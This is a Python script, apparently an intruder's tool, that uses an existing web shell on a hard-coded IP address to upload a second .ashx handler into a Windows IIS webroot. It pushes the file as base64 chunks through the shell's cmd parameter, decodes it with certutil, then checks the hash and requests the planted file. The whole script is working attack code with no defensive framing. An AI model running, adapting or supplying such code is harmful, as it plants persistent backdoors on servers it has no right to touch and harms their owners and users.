#!/usr/bin/env python3
import base64, requests, hashlib
requests.packages.urllib3.disable_warnings()
SRC = '/root/aizidognhua/chat_uploads/2026-09-22/d2c44574-b51b-4f60-8ffa-dc8d4890efcb/homeserve_021520_570c8a.ashx'
SHELL = "https://213.6.54.59/aspnet_client/c.aspx"
b64tmp = r"C:\Windows\Temp\h.b64"
dst    = r"C:\inetpub\wwwroot\aspnet_client\homeserve.ashx"
raw = open(SRC, 'rb').read()
md5 = hashlib.md5(raw).hexdigest()
b64 = base64.b64encode(raw).decode()
CH = 700
chunks = [b64[i:i+CH] for i in range(0, len(b64), CH)]
print(f"[*] size={len(raw)} md5={md5} b64len={len(b64)} chunks={len(chunks)}", flush=True)

def run(c, show=True):
    r = requests.get(SHELL, params={"cmd": c}, verify=False, timeout=30)
    t = r.text.strip()
    if show: print(f"    -> {r.status_code} {t[:150]!r}", flush=True)
    return t

for i, ch in enumerate(chunks):
    op = ">" if i == 0 else ">>"
    run(f"echo {ch}{op}{b64tmp}", show=False)
print("[*] wrote b64 chunks", flush=True)

run(f"certutil -f -decode {b64tmp} {dst}")
print("[*] verify:", flush=True)
run(f"dir {dst}")
run(f"certutil -hashfile {dst} MD5")
try:
    r = requests.get("https://213.6.54.59/aspnet_client/homeserve.ashx", verify=False, timeout=25)
    print(f"[*] HTTP GET homeserve.ashx -> {r.status_code} len={len(r.text)} head={r.text[:120]!r}", flush=True)
except Exception as e:
    print("[*] HTTP err", type(e).__name__, str(e)[:100], flush=True)
